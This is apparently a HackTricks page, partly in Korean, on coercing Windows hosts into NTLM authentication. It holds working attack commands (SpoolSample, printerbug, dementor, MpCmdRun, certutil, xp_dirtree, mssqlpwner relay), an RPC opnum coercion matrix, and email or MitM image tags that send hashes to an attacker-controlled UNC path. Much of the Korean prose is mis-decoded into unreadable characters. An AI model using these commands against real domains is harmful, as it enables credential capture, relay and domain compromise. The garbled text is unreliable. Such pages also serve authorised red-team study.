Force NTLM Privileged Authentication
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
SharpSystemTriggers
SharpSystemTriggers๋ ํ์ฌ ์ข ์์ฑ์ ํผํ๊ธฐ ์ํด MIDL compiler๋ฅผ ์ฌ์ฉํ์ฌ C#์ผ๋ก ์์ฑ๋ ์๊ฒฉ ์ธ์ฆ ํธ๋ฆฌ๊ฑฐ๋ค์ collection์ ๋๋ค.
Spooler Service Abuse
๋ง์ฝ Print Spooler ์๋น์ค๊ฐ ํ์ฑํ๋์ด ์๋ค๋ฉด, ์ด๋ฏธ ์๊ณ ์๋ ์ผ๋ถ AD ์๊ฒฉ์ฆ๋ช
์ ์ฌ์ฉํด ๋๋ฉ์ธ ์ปจํธ๋กค๋ฌ์ ํ๋ฆฐํธ ์๋ฒ์ ์๋ก์ด ์ธ์ ์์
์ ๋ํ ์
๋ฐ์ดํธ๋ฅผ ์์ฒญํ๊ณ ๋จ์ํ ๊ทธ์๊ฒ ์๋ฆผ์ ์ด๋ค ์์คํ
์ผ๋ก ์ ์กํ๋ผ๊ณ ์ง์ํ ์ ์์ต๋๋ค.
์ฐธ๊ณ ๋ก ํ๋ฆฐํฐ๊ฐ ์์์ ์์คํ
์ผ๋ก ์๋ฆผ์ ๋ณด๋ผ ๋, ๊ทธ ์์คํ
์ ๋ํด ์ธ์ฆ์ ์ํํด์ผ ํฉ๋๋ค. ๋ฐ๋ผ์ ๊ณต๊ฒฉ์๋ Print Spooler ์๋น์ค๊ฐ ์์์ ์์คํ
์ ๋ํด ์ธ์ฆํ๋๋ก ๋ง๋ค ์ ์์ผ๋ฉฐ, ์๋น์ค๋ ์ด ์ธ์ฆ์์ ์ปดํจํฐ ๊ณ์ ์ ์ฌ์ฉํ๊ฒ ๋ฉ๋๋ค.
Finding Windows Servers on the domain
PowerShell์ ์ฌ์ฉํด Windows ํธ์คํธ ๋ชฉ๋ก์ ๊ฐ์ ธ์ต๋๋ค. ์๋ฒ๊ฐ ๋ณดํต ์ฐ์ ๋์์ด๋ฏ๋ก, ์ฐ์ ๊ฑฐ๊ธฐ์ ์ง์คํฉ์๋ค:
Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt
Spooler ์๋น์ค๊ฐ ์์ ์ค์ธ์ง ํ์ธํ๊ธฐ
์ฝ๊ฐ ์์ ๋ @mysmartlogin์ (Vincent Le Toux์) SpoolerScanner๋ฅผ ์ฌ์ฉํ์ฌ Spooler Service๊ฐ ์์ ์ค์ธ์ง ํ์ธํ์ธ์:
. .\Get-SpoolStatus.ps1
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}
Linux์์ rpcdump.py๋ฅผ ์ฌ์ฉํด MS-RPRN Protocol์ ์ฐพ์๋ณผ ์๋ ์์ต๋๋ค.
rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN
์๋น์ค์๊ฒ ์์์ ํธ์คํธ์ ๋ํด ์ธ์ฆํ๋๋ก ์์ฒญํ๊ธฐ
๋ค์ ๋งํฌ์์ SpoolSample from here์ ์ปดํ์ผํ ์ ์์ต๋๋ค.
SpoolSample.exe <TARGET> <RESPONDERIP>
๋๋ Linux๋ฅผ ์ฌ์ฉ ์ค์ด๋ผ๋ฉด 3xocyteโs dementor.py ๋๋ printerbug.py๋ฅผ ์ฌ์ฉํ์ธ์
python dementor.py -d domain -u username -p password <RESPONDERIP> <TARGET>
printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>
Unconstrained Delegation๊ณผ ๊ฒฐํฉ
๊ณต๊ฒฉ์๊ฐ ์ด๋ฏธ Unconstrained Delegation์ด ์ค์ ๋ ์ปดํจํฐ๋ฅผ ์ฅ์ ํ ์ํ๋ผ๋ฉด, ๊ณต๊ฒฉ์๋ ํ๋ฆฐํฐ๊ฐ ํด๋น ์ปดํจํฐ์ ์ธ์ฆํ๋๋ก ๊ฐ์ ํ ์ ์๋ค. Unconstrained Delegation ๋๋ฌธ์ ํ๋ฆฐํฐ์ ์ปดํจํฐ ๊ณ์ ์ TGT๋ Unconstrained Delegation์ด ์ค์ ๋ ์ปดํจํฐ์ ๋ฉ๋ชจ๋ฆฌ์ ์ ์ฅ๋๋ค. ๊ณต๊ฒฉ์๊ฐ ์ด๋ฏธ ์ด ํธ์คํธ๋ฅผ ์ฅ์ ํ์ผ๋ฏ๋ก, ๊ทธ๋ ์ด ํฐ์ผ์ ํ์ํ์ฌ ์ ์ฉํ ์ ์๋ค (Pass the Ticket).
RPC Force authentication
RPC UNC-path coercion matrix (interfaces/opnums that trigger outbound auth)
- MS-RPRN (Print System Remote Protocol)
- Pipe: \PIPE\spoolss
- IF UUID: 12345678-1234-abcd-ef00-0123456789ab
- Opnums: 62 RpcRemoteFindFirstPrinterChangeNotification; 65 RpcRemoteFindFirstPrinterChangeNotificationEx
- Tools: PrinterBug / PrintNightmare-family
- MS-PAR (Print System Asynchronous Remote)
- Pipe: \PIPE\spoolss
- IF UUID: 76f03f96-cdfd-44fc-a22c-64950a001209
- Opnum: 0 RpcAsyncOpenPrinter
- MS-EFSR (Encrypting File System Remote Protocol)
- Pipes: \PIPE\efsrpc (also via \PIPE\lsarpc, \PIPE\samr, \PIPE\lsass, \PIPE\netlogon)
- IF UUIDs: c681d488-d850-11d0-8c52-00c04fd90f7e ; df1941c5-fe89-4e79-bf10-463657acf44d
- Opnums commonly abused: 0, 4, 5, 6, 7, 12, 13, 15, 16
- Tool: PetitPotam
- MS-DFSNM (DFS Namespace Management)
- Pipe: \PIPE\netdfs
- IF UUID: 4fc742e0-4a10-11cf-8273-00aa004ae673
- Opnums: 12 NetrDfsAddStdRoot; 13 NetrDfsRemoveStdRoot
- Tool: DFSCoerce
- MS-FSRVP (File Server Remote VSS)
- Pipe: \PIPE\FssagentRpc
- IF UUID: a8e0653c-2744-4389-a61d-7373df8b2292
- Opnums: 8 IsPathSupported; 9 IsPathShadowCopied
- Tool: ShadowCoerce
- MS-EVEN (EventLog Remoting)
- Pipe: \PIPE\even
- IF UUID: 82273fdc-e32a-18c3-3f78-827929dc23ea
- Opnum: 9 ElfrOpenBELW
- Tool: CheeseOunce
Note: These methods accept parameters that can carry a UNC path (e.g., \\attacker\share). When processed, Windows will authenticate (machine/user context) to that UNC, enabling NetNTLM capture or relay.
MS-EVEN: ElfrOpenBELW (opnum 9) coercion
- Interface: MS-EVEN over \PIPE\even (IF UUID 82273fdc-e32a-18c3-3f78-827929dc23ea)
- Call signature: ElfrOpenBELW(UNCServerName, BackupFileName=โ\\attacker\share\backup.evtโ, MajorVersion=1, MinorVersion=1, LogHandle)
- Effect: the target attempts to open the supplied backup log path and authenticates to the attacker-controlled UNC.
- Practical use: coerce Tier 0 assets (DC/RODC/Citrix/etc.) to emit NetNTLM, then relay to AD CS endpoints (ESC8/ESC11 scenarios) or other privileged services.
PrivExchange
The PrivExchange attack is a result of a flaw found in the Exchange Server PushSubscription feature. This feature allows the Exchange server to be forced by any domain user with a mailbox to authenticate to any client-provided host over HTTP.
By default, the Exchange service runs as SYSTEM and is given excessive privileges (specifically, it has WriteDacl privileges on the domain pre-2019 Cumulative Update). This flaw can be exploited to enable the relaying of information to LDAP and subsequently extract the domain NTDS database. In cases where relaying to LDAP is not possible, this flaw can still be used to relay and authenticate to other hosts within the domain. The successful exploitation of this attack grants immediate access to the Domain Admin with any authenticated domain user account.
Inside Windows
If you are already inside the Windows machine you can force Windows to connect to a server using privileged accounts with:
Defender MpCmdRun
C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -Scan -ScanType 3 -File \\<YOUR IP>\file.txt
MSSQL
EXEC xp_dirtree '\\10.10.17.231\pwn', 1, 1
# Issuing NTLM relay attack on the SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250
# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250
# Issuing NTLM relay attack on the local server with custom command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
๋๋ ์ด ๋ค๋ฅธ ๊ธฐ๋ฒ์ ์ฌ์ฉํ์ธ์: https://github.com/p0dalirius/MSSQL-Analysis-Coerce
Certutil
certutil.exe lolbin (Microsoft-signed binary)์ ์ฌ์ฉํ์ฌ NTLM ์ธ์ฆ์ ๊ฐ์ ํ ์ ์๋ค:
certutil.exe -syncwithWU \\127.0.0.1\share
HTML injection
์ด๋ฉ์ผ์ ํตํด
๋ง์ฝ ์นจํดํ๋ ค๋ ๋จธ์ ์ ๋ก๊ทธ์ธํ๋ ์ฌ์ฉ์์ ์ด๋ฉ์ผ ์ฃผ์๋ฅผ ์๊ณ ์๋ค๋ฉด, ๊ทธ์๊ฒ ๋ค์๊ณผ ๊ฐ์ 1x1 ์ด๋ฏธ์ง๊ฐ ํฌํจ๋ ์ด๋ฉ์ผ์ ๋ณด๋ผ ์ ์์ต๋๋ค:
<img src="\\10.10.17.231\test.ico" height="1" width="1" />
๊ทธ๊ฐ ๊ทธ๊ฒ์ ์ด๋ฉด ์ธ์ฆ์ ์๋ํ ๊ฒ์ ๋๋ค.
MitM
์ปดํจํฐ์ MitM attack์ ์ํํ ์ ์๊ณ ๊ทธ๊ฐ ๋ณผ ํ์ด์ง์ HTML์ ์ฃผ์ ํ ์ ์๋ค๋ฉด ํ์ด์ง์ ๋ค์๊ณผ ๊ฐ์ ์ด๋ฏธ์ง๋ฅผ ์ฃผ์ ํด ๋ณผ ์ ์์ต๋๋ค:
<img src="\\10.10.17.231\test.ico" height="1" width="1" />
NTLM ์ธ์ฆ์ ๊ฐ์ ๋ก ์ ๋ํ๊ณ ํผ์ฑํ๋ ๋ค๋ฅธ ๋ฐฉ๋ฒ๋ค
NTLMv1 ํฌ๋ํน
๋ง์ฝ NTLMv1 challenges read here how to crack them์ ์บก์ฒํ ์ ์๋ค๋ฉด.\
Remember that in order to crack NTLMv1 you need to set Responder challenge to โ1122334455667788โ
References
- Unit 42 โ Authentication Coercion Keeps Evolving
- Microsoft โ MS-EVEN: EventLog Remoting Protocol
- Microsoft โ MS-EVEN: ElfrOpenBELW (Opnum 9)
- p0dalirius โ windows-coerced-authentication-methods
- PetitPotam (MS-EFSR)
- DFSCoerce (MS-DFSNM)
- ShadowCoerce (MS-FSRVP)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


